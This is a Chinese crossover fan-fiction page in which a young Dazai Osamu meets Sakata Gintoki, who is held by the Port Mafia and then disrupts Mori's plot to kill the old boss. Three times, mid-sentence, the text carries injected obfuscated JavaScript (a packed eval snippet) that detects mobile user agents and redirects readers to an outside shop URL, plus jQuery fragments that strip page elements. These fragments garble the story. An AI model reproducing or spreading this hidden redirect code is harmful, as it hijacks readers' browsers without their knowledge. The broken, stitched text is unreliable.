《当幼宰捡到银发天然卷》
1. 冷静先冷静
阳光明媚的早春,天气还有些寒凉,一名身形瘦削的少年穿着单薄,立在鹤见川的河岸边,望着水面一副壮士断腕的模样。
只是一阵冷风吹过,脸上酝酿好的表情瞬间崩裂。
“噫!好冷。”
太宰治瑟缩了一下身子,在河岸边像只兔子一样来回小跳起来。
虽说他对这个无药可救的世界失望透顶,存了点寻死的意味,但是!——这话又说回来了,天气这么冷,河水肯定更冰。
不好受啊!
“不急不急,还是让我先做好热身运动吧。”太宰治搓了几下胳膊,吸吸略微发红的鼻子,从嘴里发出咕哝声。
他双腿张开与肩同宽,双臂伸展,扭动腰部,嘴里大声数着节拍。
数了几个八拍后,太宰治感觉身体微微发热,四肢经络都暖和起来,他眯起眼,安逸地舒了口气,重新在岸边站定。
太宰治如同一只警惕的猫,凝眸盯着水面半晌,才弯腰,谨慎地用食指试探性地碰了碰水面。刹那间,寒意咬住他的指尖,激得他猛地缩回胳膊。
他双手环胸,郑重其事地思索。
......要不还是等天气暖和一点了再来吧!
太宰治刚在心中做下决定,水面倒映出的影子里,就出现了一个迅速接近的黑点,伴随的还有越来越近的陌生男人的惊叫声。
太宰治还没来得及跳开,脑袋上就遭到一记重击,砸得他眼冒金星,世界骤然颠倒。
谁偷袭他!
太宰治心头冒出这个想法的刹那间,摔进了冰凉的水里。
哗啦啦——
平静的水面被骤然打破,重物落水掀起一阵巨大的水花,随后化作淅淅沥沥的小雨重新落入水中。
荡开的涟漪即将趋于平静时,从水底下升起一串气泡来。一个银色脑袋从水底下猛地窜上来,双手胡乱拍打着水面,把周围拍得水花四溅。
“呀啊啊啊!”少女般仓皇的尖叫声从一个狼狈的男人口中发出,回荡在安静的鹤见川上。
“救命,谁来救......救阿银,阿银我不会游、咕噜咕噜咕噜......”
坂田银时挣扎上岸,筋疲力尽地跪趴在温暖的土地上,眼角默默流下两行感动的泪水:“差点就再也见不到结野主播了。”还有新上市的jump漫画。
不过似乎有什么不对劲的地方,他刚刚是不是砸到了什么。
坂田银时直起上身,捞起不断向下滴水的衣摆拧水,一边目光下意识地在四周游移。
“咕噜......”
微小的动静吸引了坂田银时的目光。
就在不远处的河面上,一个疑似人类浮尸的东西正随着水流缓慢飘走,时不时有小气泡噗噜噗噜地冒出来。
“......”坂田银时一个鲤鱼打挺,满脸张皇地在岸上追着跑,“等等等等,别走!啊啊啊、阿银我真的不会游泳啊!”
周围没有其他路人在。
他一边发出懊恼的呼喊,一边毫不犹豫地扎进水中。
一顿毫无章法的扑腾后,坂田银时拖拽着少年爬上了岸,他喘着粗气屁股朝上,重新把脑袋贴在地上,像条死鱼一样瘫在岸边。
已力竭。
他的身后,刚刚浮在水上还在吐泡泡的人此刻一点动静也没有,安静得可怕。
坂田银时心下不安,顾不上他手脚乏力发软,毛毛虫似的蠕动到少年身边。
一张青涩稚嫩的脸,显然年纪不大,落水后的面庞苍白,双目紧闭,瞧上去奄奄一息。
坂田银时推了推,没得到反馈。他紧张地吞咽一下,脑门上挂下细密的冷汗。
死了?不会吧不会吧?
他探了探鼻息,片刻后整个人化作了一座石雕,只剩下嘴唇在不断颤动。
一阵死亡般的静默后,坂田银时崩溃地抱住头,张大嘴巴发出无声的尖叫。
在他难以置信、崩溃、慌张、愧疚的眼神中,双眼紧闭的少年欻地睁开双眼,深吸一口气,鲤鱼打挺似的抬起上半身又安详地躺了下去。
四目相对。
太宰治:“就是你把我撞进河里的。”
坂田银时:“是我把你从河里救上来的。”
两道声音一同开口重叠在一起。
“......”静默。
坂田银时心里一阵心虚,他迅速起身,揉着后脑勺打哈哈道:“既然你没事了,那我就走了。”
他刚迈出一步,另一条小腿就被一道阻力钉在原地。
坂田银时登时汗如雨下,不敢回头看。万一要他赔钱,他把自己卖了也赔不上钱,更别说他还欠着登势婆婆三个月的房租钱!
钱包瘪瘪掏不出一分钱,是他最难以逾越的伤痛之一!
“少年,我劝你赶紧回家洗个热水澡比较好喔。”坂田银时努力夹出和蔼可亲的声线,“万一生病了,妈妈要担心的喔。”
面对登势婆婆上门讨要房租的时候,他都没有这样努力过。所以拜托看在他的诚心上,放过他吧。
太宰治不知道坂田银时内心的期盼,他对坂田银时的话置若罔闻,只觉得忽然冒出来的此人甚是可疑。
一头乱糟糟的银发湿答答地盖在男人的脑袋上,半阖的眼皮像是肌无力似的吊在眉梢下,把殷红的眼瞳遮去了大半。被水打湿后的黑色里衬紧贴肌肤,显露出衣裳下结实有力的肌肉。
看这体魄就能得知绝对不是什么普通人。
只套了一半的云纹宽袖......
这是什么诡异的穿法?早上出门赶时间所以只随便套上衣服就出门了吗?
腰间还别着一把半人高的木刀。
太宰治上下打量这面前这个奇装异服的陌生男子,他从来没在横滨见到过这号人物。
像个不修边幅的大叔,又像个落魄的武士。
武士?
太宰治默默在心中摇头,武士这种旧时代的存在,大多都是古板又成熟稳重,而这人光从服装来看就极其跳脱,而且还很没担当。
面前的银发男满脸心虚,一双死鱼眼转来转去,一副想快点脱身的样子。
哪里有武士的样子?嗯,肯定不是。
太宰治:“你——”
坂田银时抬手打断他:“等等,这是什么地方?”
他环视四周,目光所及之处全是陌生的建筑。
太宰治挑眉:“这里是横滨。”
“横滨?”坂田银时愣住,表情缓缓裂
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410187|200654||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开,他滚动发僵的眼珠,试图在周围寻找哪怕只有一丝熟悉的东西。
他从来没听说过这个地方,这里不是歌舞伎町。结合发生在他身上的奇怪的高空坠落,他确信自己是穿越了。
不远处静静地立着一个自动贩卖机。
坂田银时跌跌撞撞地跑过去,哐当一下,把头埋进自动贩卖机的出物口:“冷冷冷静、先冷静,找找找找时光机。”
太宰治脱下吸饱了水后变得沉重的风衣,交给无声出现的黑衣人,另一人脱下自己身上的黑西装外套,披到太宰治身上。
他被养在港口Mafia有一段时间,出行有人跟随。
坂田银时还在找时光机,浑然不觉自己被团团包围。当他绝望地从自动贩卖机里钻出来时,后脑一阵钝痛,眼前瞬间黑了下去。
......
森鸥外的医疗室。
穿着一身白大褂的森鸥外,鼓捣手中的针剂,不忘抬头给病床上坐着的太宰治一个眼神:“为什么自杀?”
太宰治把披在肩头的黑西装袖子捏在手里拋着玩,闻言露出一个只浮于表面的笑:“我只是在寻找美好。”
没错,对他来说,也许死亡才是真正的美好。
西装有些旧了,袖口冒出线头被太宰治发现,他揪住线头一拉一松,再一拉一松,反复刻板的动作。
“在医生面前,说死亡才是美好吗?”森鸥外笑了笑,他放下针剂,走到太宰治面前,目光定定地锁住太宰治,“那么我们来为首领一起献上属于他的美好吧。”
首领老了,脑子也开始糊涂了,他的手段变得越来越残忍暴戾,如果继续放任下去,港口Mafia将会毁在他的手里。
医生和少年在医疗室中沉默对望。鼻尖萦绕着的难闻药水味仿若死神挥下镰刀,掀起刺鼻的腐臭味。
啪地一下轻响,太宰治手上的线头终于不堪重负,与西装外套分离。
森鸥外不知道自己选择一个年仅14岁的少年作为他的从犯是否正确。但看着太宰治伶俐又冷漠的鸢色眼睛,他没由来地觉得港口Mafia很快就会迎来新的未来。
暗杀首领的计划,只有森鸥外和太宰治知道。
太宰治面色如常地行走在港口Mafia的大楼里,不管是入水,还是谋划暗杀港口Mafia首领,都不能掀起他内心的波澜。
他偶然经过几个聊天的□□成员。
“昨天带回来的那个银发男人也真是奇怪,腰间居然别了一把木刀。中二病病入膏肓了吧,成年了都还没从中二病里毕业。”说话的人啧啧称奇地摇头。
“别提了,昨天问他话,他回答得牛头不对马嘴也就算了,竟然还敢对我们提要求。”
“他提了什么要求?”
“要新上市的jump漫画,还要两大杯草莓芭菲,又要求关押他的小房间晚上要熄灯,否则有灯光他睡不好,还说天气太冷容易生病,要求给他开暖气。”
“岂有此理!他当我们港口Mafia是做慈善的吗?兄弟们,给他点颜色瞧瞧。”
太宰治下意识地偏了偏头想听更多,但那群人已经越走越远,聊天的声音也轻到听不清晰了。
他停下脚步转身,若有所思。
2. 银发天然卷的人
“终于决定要放我出去了吗?太好了,赶快给我把镣铐解开吧!”
“......如果不是来放我离开的,那难道是来给我送草莓芭菲的?我一天不摄入糖分,就浑身难受。”
哗啦哗啦——锁链摇晃发出声响。
“呸!你这家伙不仅嘴硬,想得也挺美!”
“喂喂喂,这位小哥,别这么激动嘛,我也没提什么过分的要求。唉!算了算了,真是拿你们没有办法。既然没有草莓芭菲,那最新的jump漫画也可以。我要求不高的。”
哗啦哗啦——铁链撞击的声音压制住了审问的声音,使得审问人不得不维持大声说话的状态。
“混蛋,这里是港口Mafia,你当这里是度假村啊!快、快说、咳咳!”
一直提着嗓子说话,声带理所当然变得疲惫,猝不及防的岔气一下子把拉高的气势拽了下来,“你是谁、哪个组织的、来这里干什么?”
“哎呀,我不是都跟你们说过了吗?我就是一个普通的小市民,自己在歌舞伎町开了一家万事屋,可惜手下没有员工,也没有什么生意。”
“你放屁!东京的歌舞伎町里压根没有什么万事屋!当我们港口Mafia好糊弄吗?你再不说实话可就要挨揍了!”
鞭子重重敲在地面上,骇人听闻的震颤声直直地传进门口少年的耳中。
他没急着推门进去,而是多站了一会儿,想听听门后被审讯的男人什么反应。
“揍我?”一声极轻的哂笑。
“如果你们敢动手的话,早就动手了,还用得着这样吓唬我吗?这种小聪明骗骗笨蛋可以,可休想骗过阿银我。”吊儿郎当的嗓音里听不出丝毫恐惧和慌乱,仿佛有恃无恐。
刚刚还大声呵斥威胁的人被戳中了哑穴一般,半晌憋不出一个字来。
门外的少年默默仰头,审问人完全不是那个男人的对手。
门后的气氛似乎陷入了凝滞。
哗啦哗啦——
金属撞击的声音持续不断,就像早上叫人起床的闹铃,聒噪且惹人心烦,
“够了!别再动来动去了,吵死人了!你这混蛋是故意的吧!”
“哈哈,怎么会呢?我只是站了一天有些累了,换个姿势舒服一点而已,毕竟你们没有给我坐下的打算嘛。”
如同挑衅一般,哗啦哗啦——
这场审问已经没有继续下去的意义了。
这个语调懒洋洋的男人在这场对话的最开始就下了套,不管是故意摇晃铁链制造噪音,还是故意激怒审问人的话语和语气。
他一步步试探,大胆验证自己的猜想,最后终于在审问人无能狂怒的状态中得到了这场胜利。
真是个激进的冒险分子,和那张看上去没有丝毫干劲的脸完全相反。
太宰治对着门伸出手。
审讯室内的审问人在努力压制怒气中,以免自己真的忍不住动手揍了面前这个让他气得牙痒的男人。毕竟在知道对方背后是什么组织之前就贸然动手的话,有可能会对港口Mafia不利。
审问人正做着深呼吸,身后锁住的门忽然被打开了。
门外走廊的灯光洒进稍显黯淡的审讯室,恰好照在坂田银时的眼睛上,刺得他本能地眯起眼。
来人笑嘻嘻的,怀里抱着一堆东西。
审问人的情绪被打断,迷茫地看了看锁眼,无比纳闷。他记得自己确实锁了门的。
他问太宰治:“你怎么到这里来了?”
太宰治:“这个人交给我来审讯。”
坂田银时来回看了看他们,大喜。原来他们是熟人!这不就好办了吗?
“救我救我,昨天是我把你从河里救上来的!”他无比激动地省略起因只讲结果,好似造成太宰治掉进河里的罪魁祸首不是他一样。
审问人看了眼一脸看到救星似的银发男人,又瞅了瞅太宰治,露出为难的神情。
太宰治又说了一遍:“你已经无法从他嘴里挖出什么了,不如交给我。”
审问人犹豫片刻,最后还是同意把审讯室留给他。两人交换位置,太宰治走进审讯室,怀里东西太多,不留神掉了一个出来,审问人定睛一看,哦豁,是漫画。
“......”
谁家好人审讯带漫画?用漫画抽打审讯对象让他招供吗?
审问人艰难思考,决定还是当成没看见吧!他目视前方走了出去,甚至还贴心地把审讯室的门带上。
太宰治搬来椅子,在坂田银时面前坐下。
坂田银时努力摇晃铁链,试图吸引太宰治的注意力,脸上堆起浮夸的笑:“快来帮我解开。”
太宰治充耳不闻,他从自己带来的一大堆东西里翻翻拣拣,摆在坂田银时面前,说:“你看看,这里面有你想要的jump漫画吗?”
坂田银时只扫了一眼就收回视线,又摇晃起铁链来。
“这种时候漫画就随它去了,不重要。”
太宰治意味不明地笑笑,颇为遗憾地耸了耸肩:“那看来这个世界是没有jump漫画了。”
这些漫画是他从最火热的街道、最大的商店里带回来的,他既没听说过什么jump漫画,也没查到任何相关的信息。在这里卖得最好的漫画杂志是《YoungAce》。
太宰治别有所指的话语落在坂田银时的耳中,令他微微眯起眼。
“你从别的世界来的吗?”太宰治凑近坂田银时开门见山,鸢色眼眸饶有兴趣地弯起,“你们的世界怎么样?好不好?”
虽说坂田银时没有特意遮掩,但被这么轻而易举地看出端倪,还是让他小小地惊讶了一下。毕竟穿越世界这种事,不管在谁听来都是难以相信的。
这令他多看了几眼面前尚且稚嫩的少年。
太宰治坦荡地直视回去。
“......也就那样吧。”坂田银时懒懒地动了动嘴皮,无能的幕府、猖獗的天人......还有他失败的前半生,没什么好说的。
太宰治观他神情,眼底流露出一点失望:“是吗......”那就没什么好期待的了。
太宰治兴致缺缺地介绍自己,一边把草莓芭菲拿出来,他做事细致到位,特地让店长打包好,放了冰镇用的冰块保温,以免化成一滩甜水。
坂田银时双眼一亮,所有不愉快都被他抛到脑后。锁链把他禁锢在一个逼仄的范围里,但这丝毫不影响他手上的动作。他毫不客气地拿过草莓芭菲,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410188|200654||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
随口交换姓名。
舌尖卷起甜丝丝的奶油,沁凉的温度迅速融化在口腔,就是这个熟悉的味道!
即便世界变换更移,但草莓芭菲依旧屹立!他愿封之为神!
坂田银时大口炫着糖分,瞥了眼从说完姓名后就一言不发的少年。
他比眼前这个少年多活了十几年,也曾在死人堆里摸爬滚打许多年,对世界愤怒过,也绝望过。
对方藏在眼底的看透一切的失望和茫然,他再熟悉不过。
坂田银时揉了揉鸟窝似的头发,有些无奈。
“分你一口?”
太宰治垂着眼帘,看见视野里被递来一勺草莓芭菲,他先是微微一愣,才抬起脸看向满眼都是对草莓芭菲的心疼的坂田银时。
“虽然我只是一个把自己的人生过得一塌糊涂的废柴大叔,但好歹也是个成年人,阅历还是挺丰富的。”坂田银时老成持重地叹了口气,“这草莓芭菲就当作是委托费了,所以阿治君,你有什么烦恼说来给阿银我听听吧。”
怀揣着一片好意的坂田银时在下一刻就看见前一秒还在忧郁的少年露出嫌弃的表情。
“喂,你那是什么表情啊!”
“我对男性吃过的东西可不感兴趣。”
坂田银时恼:“哈???”
太宰治:“另外,阿治君?噫!”
坂田银时大怒:“所以我才烦青春期的小鬼!”
太宰治拍拍沾灰的衣摆起身,把他带进来的东西又重新收拾好抱在怀里,往门的方向走。
坂田银时瞪着眼睛,语气从迟疑逐渐转成震惊:“等等、这些漫画、这些食物不是带给我的吗?你为什么又把它们拿走?你要把它们拿到哪里去?”
太宰治回头,无辜道:“当然是带走了,我又没有说这些是给你的。”
“我已经问到想要的信息了,谢谢这位、嗯——”太宰治顿了顿,扬起一个纯良的笑容,“废柴大叔。”
坂田银时被太宰治的无耻震撼得哑口无言。
这个世界太卑鄙,他想回家!
门在坂田银时焦急的神色中缓缓打开,太宰治一条腿已经踩在了室外。
坂田银时伸长胳膊呐喊:“等等!太宰君、阿治、阿治君!不要把我丢在这里啊,我好歹也救了你一次,带我一起走啊,阿治君!”
太宰治脚步顿住,坂田银时心下一喜,以为他回心转意,正准备再度开口表达他满心的肺腑之言。太宰治却脚尖一拐,径直转去了角落里。
他拿起斜倚在墙角的木刀,对坂田银时笑吟吟道:“下辈子再看见河里飘着人的话要记得无视。”
话音落下的瞬间,太宰治的手腕微不可查地抖了抖,一个看不清的小玩意儿从他的袖口飞向坂田银时。
坂田银时眸光一凝,动作迅速地张手接住,攥在拳头里,他立刻从触感上判断出是一根细铁丝。
“再见。”
门在坂田银时的面前关上。
“......”坂田银时睁着一双死鱼眼,胡乱抓了抓后脑勺,把本来就乱糟糟的头发抓得更加凌乱。
审讯室中响起一声悠悠的叹息。
“真是的,所以才说青春期小鬼最麻烦了。”
3. 没有太阳的日子
太宰治离开审讯室后来到光线明亮的地方,仔细端详手中的木刀。
木刀的长度有他身高的一半还高出一点,他拿着这把刀就像小孩偷穿大人的衣服,总之很不协调。
他掂了掂木刀,和想象中轻飘飘的手感不同,握在手上颇有一点份量,不知道是用什么木料打造的刀。刀身表面光滑,质地坚硬,隐隐反射着光线,刀柄上还刻着“洞爷湖”三个字,刻文摸上去十分细腻。
本来也是抱着恶作剧的心态才突发奇想拿走木刀。后面让其他人再给他送回去吧......说起来jump漫画好看吗?
太宰治漫无边际地发散思维,拐过转角时正巧碰见了森鸥外。
森鸥外见太宰治抱着许多东西,胳膊肘间还夹着一柄木刀,想起了组织昨天带回来一个奇怪的银发男人。
他最近忙着筹划自己的暗杀计划,因此只分出一小部分心神了解了一点,在他判断这个银发男人不影响他的计划后就没再关注这件事。
但以防万一,森鸥外还是开口询问道:“太宰君这是刚从审讯室出来?那么你觉得他有威胁吗?”
对于他暗杀计划的威胁。
即便森鸥外把话说得遮遮掩掩,但聪慧如太宰治,不需要点明就能明白森鸥外的意思。
太宰治笑得轻飘飘,说:“只是一个散漫的废柴大叔而已。”
“那就好。”
森鸥外没有怀疑太宰治的话,扬起一个安心的微笑,如同医生安抚患者那般用温柔的语气轻声道:“首领最近身体状况不太好,太宰君多去看看他。”
和语气截然相反的是,他的眼底闪烁着冰冷的杀意。
太宰治没什么表情地点了点头,看来暗杀计划的实施就在这两天了。
行动的时机很快到来。
这天,森鸥外给老首领例行检查和治疗,太宰治也在。
老首领病得严重,满是沟壑的面庞苍白如纸,松垮的眼皮耷拉下来,遮住充满红血丝的浑浊眼球,病魔缠身让他形容枯槁,瘦可见骨。
太宰治站在病床的一侧放空大脑。
因为在森鸥外的计划里并不需要他做什么,他只要待在这个房间里就足够了。森鸥外只是需要一个能被大家相信的见证者。
一身白大褂的医者正在谋杀自己的患者。
森鸥外从皮箱里拿出事先准备好的针剂,眼底一片冷酷。
老首领的手搁在被子外,森鸥外将闪着寒光的针尖缓缓贴近那只手。
“今天用的什么药剂?”苍老的声音打破一室的安静。
森鸥外动作微微一顿,抬眼时已经藏好了所有情绪,对老首领露出一个和往常无异的微笑:“首领的病一直反复不见好,所以这次多加了一点抗菌成分。”
“是吗?”
这句没有语气波动的问话在森鸥外听来宛如地狱的低语,瞬间毛骨悚然。他不确定这句“是吗”是指他计划暴露,还是普通的一句询问。
森鸥外拼命让自己的表情保持自然,不要露出异样。
“是我自作主张了,对不起首领。”森鸥外恭敬地低下头,讲主动将脆弱的脖颈暴露出来。
老首领转动浑浊的眼珠,看见了立在一侧的太宰治。
森鸥外也注意到了老首领的视线,手心被冷汗浸湿。如果太宰治临时反水出卖他,那么他凶多吉少。
幸而太宰治不是出尔反尔的人,他安静地站在那里一言不发,不知道在想什么。
老首领信任太宰治,于是他闭上眼,只小小警告了一句:“没有下次。”
“明白。”
森鸥外暗暗松了口气,心道:的确是没有下次了。
森鸥外在白大褂上蹭掉手心的冷汗,重新把注射器贴近老首领的手。
太宰治下意识地望过去。
他明白自己被养在港口Mafia,自然不是老首领大发善心,更多的还是看中了他的资质。培养他,让他为港口Mafia效力。
在港口Mafia的众人心中,老首领颇具威望,港口Mafia过去在他的带领下逐渐成为横滨最大组织之一,只可惜昔日的“王”老了以后变得昏聩、激进并且暴戾。
只有老首领死了,港口Mafia才能继续活下去......
老首领的死,是为港口Mafia好。
太宰治不自觉地蜷了蜷指尖。成为谋杀老首领的从犯,也许会是自己正式踏入港口Mafia的第一步。
“......”外头忽然一阵骚动。
这里可是首领的房间,谁敢在外面喧哗打闹?
这个念头不约而同地从太宰治和森鸥外的脑子里划过。
森鸥外眼底闪过一抹狠厉,扎针、注射,总共不过几秒的时间,他不想再等下一次。
当针尖即将刺破粗粝的皮肤时,轰——紧闭的大门被猛地破开,清新的空气刮进房间,掀起太宰治的额发。
“打扰了!万事屋快递!哪位客人网购了最新的jump漫画?”
森鸥外手一抖,险些把针扎在自己手背上,他莫名其妙地望向大门口。
什么乱七八糟的?漫画?
他看见了那无比显眼的银发天然卷,以及晃动发丝下的那张散漫的蠢脸。
很显然,这个一脸淡漠并且旁若无人地把小拇指伸进鼻孔旋转的男人就是前几天被抓回港口Mafia的坂田银时。
坂田银时把小拇指在门上揩了揩。
森鸥外脸一黑,这混账......居然把鼻屎擦在门上!
“......”太宰治露出嫌弃的表情,并立刻决定等下就去把木刀丢掉!再把身上靠近过坂田银时的所有衣物通通清洗消毒!
巨大的动静吵醒了老首领,在不明来历的人面前露出脆弱的模样是大忌。所以他撑着难受的身体强行坐起,冷眼质问:“这里是外人禁止踏入的地区,你是怎么上来的?”
坂田银时懒洋洋地挑眉:“外人禁止踏入?我没看到标识啊。”
“不过去坐电梯的路上倒是碰到了几个特别凶的家伙拦路,为了能准时送达快递,我就把他们都打晕丢在一边了。”坂田银时说得仿佛丢垃圾似的随意轻松,老首领听得目露凶光。
只可惜震慑不到战场上厮杀过的坂田银时。
坂田银时扫了一眼森鸥外手中的针剂,意有所指般地笑道:“对了,因为这栋大楼实在太大了,我为了找到客人在大楼里迷路了,闯进了一间堆着各种药品的医疗室,索性在里面休息了一段时间。”
森鸥外牙都要咬碎了,莫非是自己藏在药剂实验记录被发现了。他为了暗杀老首领能做得神不知鬼不觉,花了大力气在药方成分的配比研究上,怎么样的配比能够悄无声息地杀死一个人而不被察觉丝毫异样,这些都被他记录在了本子上。
必须杀死这个男人!
太宰治看着不该出现在这里的坂田银时暗暗叹气,真是愚蠢的举动。
从港口Mafia的审讯室逃走却没有离开,反而大摇大摆地闯进首领房间,闻声追来的港口Mafia干部和成员很快就会把这里围得水泄不通。
能看透人心的太宰治看不透坂田银时在想什么。
他略带遗憾地想道:这个男人恐怕难逃一死了。
坂田银时环视一圈房间,窗户紧闭不透风,厚重的窗帘被拉起,一丝阳光都挤不进来,只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410189|200654||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有天花板上洒下惨淡的白光。
阴沉沉的,令人浑身都不舒服。
他无视了老首领和森鸥外杀人视线,大步跨进房间,和服下摆的云纹随他动作缓缓流淌。
坂田银时用力拉开窗帘,耀眼的太阳光大片倾泄而入,老首领和森鸥外同时眯起眼,好一会儿才适应了光线。
“呀~真是个晴朗的好天气啊。”坂田银时感慨点头。
“没有太阳的日子就像上完厕所后才发现没有纸一样难受。”坂田银时看向太宰治,“今天天气很好,不如抬头看看太阳吧。”
他忽然蹦出来的话虽粗俗但接地气,听得人莫名其妙,可又会不由自主地跟着他说的话去思考。
太宰治大概明白坂田银时为什么没有逃走而是闯进来了。
原来是为了他啊。
可新的疑惑又跳出来,太宰治如同旁观的第三人一般冷静地剖析。
如果说坂田银时第一次救太宰治上岸是为了弥补他把太宰治撞进河里,那么这一次又是为了什么呢?
坂田银时在太宰治的身上没有利益可图。
太宰治深知人与人相处和维系是依赖利益,这一点在港口Mafia已经得到了反复的验证。所以他无法理解,也很难去相信一个人会对另一个陌生人无私地倾泄善意。
太宰治的世界观第一次受到了冲击。
老首领已经很久没有被这样无视过了,他深感被人小瞧了的愤怒,喝道:“小子,你知不知道这是哪里!我是谁!”
坂田银时淡淡道:“我不用知道,因为我对老头儿不感兴趣,对你们的组织更加不感兴趣。我只是个来送快递的。”
外面的走廊上响起众多急速逼近的脚步声。
坂田银时无奈地挠了挠头,无辜地再一遍重复:“其实我真的是来送快递的。”只是他没有想到会恰好碰上私人医生谋划篡位组织首领,而且还拉着小孩做从犯。
他这颗爱多管闲事的心真是令人苦恼。
门口被清一色的黑衣人围堵,还有数名高手拦在了老首领的病床前保护老首领,顺带拽了一把离坂田银时距离最近的太宰治,把他拽到了人群后面。
随着老首领的一声令下:“杀了这个男人。”黑洞洞的枪口全部对准了坂田银时,子弹上膛的声音令人下意识绷紧神经。
“喂喂喂,对付我这样的小人物没必要这样兴师动众吧?”坂田银时举起双手放在胸前,干笑示弱,“如果我现在道歉的话,你们会愿意原谅我吗?”
坂田银时眨巴眨巴死鱼眼:“这里不欢迎外人进入的话,我可以立刻离开,坐飞船离开!我保证超快!”
森鸥外见过不要脸的,但没见过这么不要脸的。今天也算是大开眼界,刷新了对人的认知。
如果坂田银时听见了森鸥外内心的腹诽,绝对会不屑一顾,脸面算什么?不要脸的人才能活得更久。识时务者为俊杰!
老首领没有发话,阴沉的脸色已经足够表明他的态度。
于是枪声密集地响起,犹如一场急切的暴雨,弹雨倾泄。
坂田银时身手敏捷地向前翻滚,子弹追在他的身后嵌进地面、撕碎窗玻璃,玻璃碎渣稀里哗啦地掉了满地,反射着尖锐的白光。
地上无数闪烁着亮光的碎星倒映在太宰治的眼底,耳边轰鸣的枪声把他的理智震得剧烈动荡起来。
老首领养着的“太宰治”是为了港口Mafia效力而存在的。所以坂田银时这样不安分的存在,消失才是对港口Mafia最好的结果。
子弹击中了坂田银时的左腹,他喉间溢出一声压抑的闷哼。
“......”太宰治转身飞奔了出去。
4. 特殊的散步方式
“接住!”
坂田银时顺着急促的提醒声看去,从空中飞来一道黑影,不是别的,正是洞爷湖。
太宰治的声音和他违背老首领意志帮助坂田银时的行为吸引了众人的注意。所有人都露出了意外的神色,老首领的表情更是阴沉不定。
坂田银时借着这个空档拿到了洞爷湖。
“既然都决定帮我了,至少再丢把真刀给我啊喂!”
太宰治露出“你真麻烦”的表情,坂田银时感觉额角青筋凸凸地跳。
老首领发出命令:“抓住太宰。”
没了老首领的优待,太宰治在众人心中就如同一瞬间从枝头被打落到地上的鸟雀,一部分人从围剿坂田银时的队伍中分离出来,围向太宰治。
太宰治的体术水平在港口Mafia一直都排不上号,他的怀里藏有枪,但现在如果掏枪,等同于直接和港口Mafia宣战。
乖乖认个错也许还有转圜的余地。
所以太宰治乖巧举起双手,不准备反抗。
森鸥外面无表情地看着包围圈内的太宰治,内心困惑不已。做事向来伶俐的太宰治怎么会做出这么冲动莽撞的事情?果然还是因为年纪太小,不够稳重吗?
坂田银时拿到了武器,不再一味地躲避攻击。他腿长手长,在狭窄的包围圈里,把洞爷湖挥舞得密不透风,破空声猎猎,逼得他身前的人不得不后退。
只要他们害怕,攻击就会出现破绽。
他一个跨步踩进对方的平衡重心,对方忽然被跳脸没有防备,吓得一个激灵,手腕蓦地一痛,眨眼间枪支脱手,转到了坂田银时的手中。
坂田银时抢到枪也不瞄准,随手扣下扳机,打到哪里算哪里,霎时间弹匣就被他清空。秉承着物尽其用的思想,枪支被他当成一次性的投掷武器,大力砸在了一个人的脸上。
斜侧一条横扫而来的腿,坂田银时矮身避开,反手抓住其脚踝,顺势将人甩了出去。坂田银时完全无法被预判的招式和洞爷湖凌厉的攻击终于把人墙撕开一道口子。
森鸥外眼神一冷,没想到本以为必死无疑的男人,身手竟然这么好,这么多的成员都奈何不了他。
如果坂田银时被活捉,那么他说不定会有大麻烦,绝不能留活口。
森鸥外决定使用异能,于是一名金发萝莉穿着可爱的公主裙就加入了混战中。
当坂田银时看见可爱的小女孩挥着武器袭来时愣了一下,他攻击的动作被硬生生收了回来,强行改成了防御。
爱丽丝本来就不是人类,她的力量、速度更加不是小孩能比的。
坂田银时不知道这个世界的特殊,只当这是一个训练有素的小孩,他处处手下留情,不一会儿就浑身是伤。
“喂喂......小姑娘下手也太狠了吧,阿银我这把老骨头都快散架了喂。”坂田银时喘着气抹掉额头上流到眼皮的血,血被他糊开,又有新的血流下,滴在地板上。
看上去已经是强弩之末。
爱丽丝神情冷酷:“你马上就要死了。我是不会因为你不还手而放过你的。”
“随便你了,不过就算是这样,我也不会对小孩子动手的。毕竟欺负小孩这种事,我做不来。”
森鸥外闻言在心中不禁嘲笑,真是一个天真的男人,竟然怜悯一个要杀自己的小孩。但同时内心也忍不住对坂田银时生出一丝欣赏和敬佩。
尽管如此,他还是得死。
爱丽丝倾身而上,动作狠厉处处冲着杀死对方的目的而攻击。
坂田银时如他所说的一样没有还手,只是防御。他一边招架,一边后退,很快就退到了墙角,已经退无可退。
太宰治默默看着,他也有点想看看这个男人到了最后的生死关头,会不会为了求生而违背自己刚才放出的漂亮话。
